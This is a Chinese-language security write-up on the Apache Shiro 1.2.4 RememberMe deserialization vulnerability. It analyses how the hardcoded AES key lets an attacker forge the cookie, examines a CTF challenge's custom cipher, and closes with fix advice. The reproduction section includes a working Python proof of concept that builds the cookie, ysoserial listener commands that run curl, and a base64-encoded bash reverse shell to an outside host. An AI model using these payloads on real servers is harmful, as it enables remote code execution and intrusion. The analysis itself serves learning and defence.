0x00.前言

最近在学习java安全的过程中学习了shiro 1.2.4反序列化漏洞,网上关于此漏洞的文章虽然也不少,但是主要在于漏洞的复现,虽然也有漏洞触发流程分析,但是感觉对于刚入门java的小白来说还是有点吃力,所以这篇文章主要详细分析一下Shiro RememberMe 1.2.4的cookie处理的流程,并通过简单分析ogeek线下的一道java来加深对shiro框架对cookie处理的理解,初学java,有不对的地方还请师傅们见谅。

0x01.漏洞复现

环境配置

https://github.com/Medicean/VulApps/tree/master/s/shiro/1

测试

需要一个vps ip提供rmi注册表服务,此时需要监听vps的1099端口,复现中以本机当作vps使用
poc:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

此时在vps上执行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'curl 192.168.127.129:2345' //command可以任意指定

此时执行poc可以生成rememberMe的cookie:

此时burp发送payload即可,此时因为poc是curl,因此监听vps的2345端口:

此时发送payload即可触发反序列化达到rce的效果

如果要反弹shell,此时vps上执行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjkvMjM0NSAwPiYxIA==}|{base64,-d}|{bash,-i}'

其中反弹shell执行的命令通过base64编码一次
http://www.jackson-t.ca/runtime-exec-payloads.html
上面的地址可以将bash命令进行base64编码
此时vps监听2345端口,并且生成新的payload进行rememberMe的cookie替换



此时就能够收到shell了

0x02.漏洞分析

这里使用idea来运行环境,直接import maven项目即可,另外要配置一下pom.xml中的以下两项依赖,否则无法识别jsp标签

生成cookie的过程

shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。而其中对rememberme的cookie做了加密处理,漏洞主要原因是加密的AES密钥是硬编码在文件中的,那么对于AES加密算法我们已知密钥,并且IV为cookie进行base64解码后的前16个字节,因此我们可以构造任意的可控序列化payload

处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager,它继承自org.apache.shiro.mgt.AbstractRememberMeManager,其中在AbstractRememberMeManager中定义了加密cookie所需要使用的密钥,当我们成功登录时,如果勾选了rememberme选项,那么此时将进入onSuccessfulLogin方法


接下来将会对登录的认证信息进行序列化并进行加密,其中PrincipalCollection类的实例对象存储着登录的身份信息,而encrypt方法所使用的加密方式正是AES,并且为CBC模式,填充方式为PKCS5


其中ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());这里调用的正是AES的encrypt方法,具体的实现在org/apache/shiro/crypto/JcaCipherService.java文件中,其实现了CiperService接口,并具体定义了加密的逻辑

在encrypt方法中,就是shiro框架自带的加密流程,可以看到此时将iv放在crtpt()加密的数据之前然后返回

加密结束后,将在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回

解析cookie的过程

此时将在org/apache/shiro/web/mgt/CookieRememberMeManager.java中将传递的base64字符串进行解码后放到字节数组中,因为java的序列化字符串即为字节数组

byte[] decoded = Base64.decode(base64);

此后将调用org/apache/shiro/mgt/AbstractRememberMeManager.java中的getRememberedPrincipals()方法来从cookie中获取身份信息

此时可以看到将cookie中解码的字节数组进行解密,并随后进行反序列化

其中decrypt方法中就使用了之前硬编码的加密密钥,通过getDecryptionCipherKey()方法获取

而我们实际上可以看到其构造方法中实际上定义的加密和解密密钥都是硬编码的密钥


即为Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),得到解密的密钥以后将在org/apache/shiro/crypto/JcaCipherService.java的decrypt()方法中进行解密,此时从cookie中取出iv与加密的序列化数据

并在decrypt方法中调用调用crypt方法利用密文,key,iv进行解密

解密完成后将返回到org/apache/shiro/mgt/AbstractRememberMeManager.java的convertBytesToPrincipals()方法中,此时deserialize(bytes)将对解密的字节数组进行反序列化,而这里的序列化的类是使用DefaultSerialize,即

this.serializer = new DefaultSerializer<PrincipalCollection>();

此时将调用deserialize()方法来进行反序列化,在此方法中我们就可以看到熟悉的readObject(),从而触发反序列化

Ogeek线下java-shiro

这道题中cookie的加密方式实际上不是默认的AES。因为从之前shiro加解密的过程我们已经知道org/apache/shiro/crypto/CipherService.java是个接口,并且在shiro默认的认证过程中,将会通过在shiro加密序列化字节数组时,将会通过getCiperService()方法返回所需要的加密方式,而默认情况下是AES加密



那么实际上我们也可以定义自己的加密逻辑,这道题目便是自己实现了CiperService接口并自己实现了一个简单的加密和解密的流程
WEB-INF/classes/com/collection/shiro/crypto/ShiroCipherService.class:

package com.collection.shiro.crypto;

import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import java.util.UUID;
import javax.servlet.http.HttpServletRequest;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.crypto.hash.Sha1Hash;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.util.ByteSource.Util;
import org.apache.shiro.web.util.WebUtils;
import org.json.JSONObject;

public class ShiroCipherService implements CipherService {
    public ShiroCipherService() {
    }

    public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
        String skey = (new Sha1Hash(new String(key))).toString();
        byte[] bkey = skey.getBytes();
        byte[] data_bytes = new byte[ciphertext.length];

        for(int i = 0; i < ciphertext.length; ++i) {
            data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]);
        }

        byte[] jsonData = new byte[ciphertext.length / 2];

        for(int i = 0; i < jsonData.length; ++i) {
            jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]);
        }

        JSONObject jsonObject = new JSONObject(new String(jsonData));
        String serial = (String)jsonObject.get("serialize_data");
        return Util.bytes(Base64.getDecoder().decode(serial));
    }

    public void decrypt(InputStream inputStream, OutputStream outputStream, byte[] bytes) throws CryptoException {
    }

    public ByteSource encrypt(byte[] plaintext, byte[] key) throws CryptoException {
        String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-";
        Subject subject = SecurityUtils.getSubject();
        HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject);
        String user_agent = servletRequest.getHeader("User-Agent");
        String ip_address = servletRequest.getHeader("X-Forwarded-For");
        ip_address = ip_address == null ? servletRequest.getRemoteAddr() : ip_address;
        String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}";
        byte[] data_bytes = data.getBytes();
        byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
        byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
        byte[] out = new byte[2 * data_bytes.length];

        for(int i = 0; i < data_bytes.length; ++i) {
            out[i * 2] = mkey[i % mkey.length];
            out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
        }

        byte[] result = new byte[out.length];

        for(int i = 0; i < out.length; ++i) {
            result[i] = (byte)(out[i] ^ okey[i % okey.length]);
        }

        return Util.bytes(result);
    }

    public void encrypt(InputStream inputStream, OutputStream outputStream, byte[] bytes) throws CryptoException {
    }
}

这里加密的解密的逻辑都有,并且此时encrypt的加密实际上是针对json字符串进行的,解密时也会对json字符串进行同样解密算法,并取其中serialize_data字段的内容进行base64解码以后进行返回,因此我们只要结合ysoserial.jar将生成的payload进行base64编码,并且与放入serialize_data字段中,并且调用此加密逻辑对json字符串进行加密并进行base64编码即可获得rememberme的cookie值,当传送给服务器端后,也将先进行base64解码,然后调用decrypt进行解密,得到json字符串后再将我们放入serialize_data字段中的payload进行反序列化。这里实现的加密也是对称加密,并且通过以下的文件可以看到加解密均是读取服务器上remember.key文件来获取,因此也是硬编码的,因此只要知道该密钥,并且已知加密的逻辑,就可以控制cookie值,来进行反序列化,由下面的逻辑也可以看出初始情况下此密钥为32位
WEB-INF/classes/com/collection/shiro/manager/ShiroRememberManager.class:

package com.collection.shiro.manager;

import com.collection.shiro.crypto.ShiroCipherService;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.InputStream;
import org.apache.commons.lang.RandomStringUtils;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.web.mgt.CookieRememberMeManager;

public class ShiroRememberManager extends CookieRememberMeManager {
    private CipherService cipherService = new ShiroCipherService();

    public ShiroRememberManager() {
    }

    public CipherService getCipherService() {
        return this.cipherService;
    }

    public byte[] getEncryptionCipherKey() {
        return this.getKeyFromConfig();
    }

    public byte[] getDecryptionCipherKey() {
        return this.getKeyFromConfig();
    }

    private byte[] getKeyFromConfig() {
        try {
            InputStream fileInputStream = this.getClass().getResourceAsStream("remember.key");
            String key = "";
            if (fileInputStream != null && fileInputStream.available() >= 32) {
                byte[] bytes = new byte[fileInputStream.available()];
                fileInputStream.read(bytes);
                key = new String(bytes);
                fileInputStream.close();
            } else {
                BufferedWriter writer = new BufferedWriter(new FileWriter(this.getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
                key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
                writer.write(key);
                writer.close();
            }

            key = (new Md5Hash(key)).toString();
            return key.getBytes();
        } catch (Exception var4) {
            var4.printStackTrace();
            return null;
        }
    }
}

0x03.漏洞修复

1.对于shiro的认证过程而言,如果我们使用了硬编码的默认密钥,或者我们自己配置的AES密钥一旦泄露,都有可能面临着反序列化漏洞的风险,因此可以选择不配置硬编码的密钥,那么此情况下shiro将会为我们每次生成一个随机密钥
2.若需要自己生成密钥,官方提供org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来进行AES的密钥生成

参考

https://www.cnblogs.com/loong-hon/p/10619616.html
https://www.cnblogs.com/maofa/p/6407102.html
https://cloud.tencent.com/developer/article/1472310

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖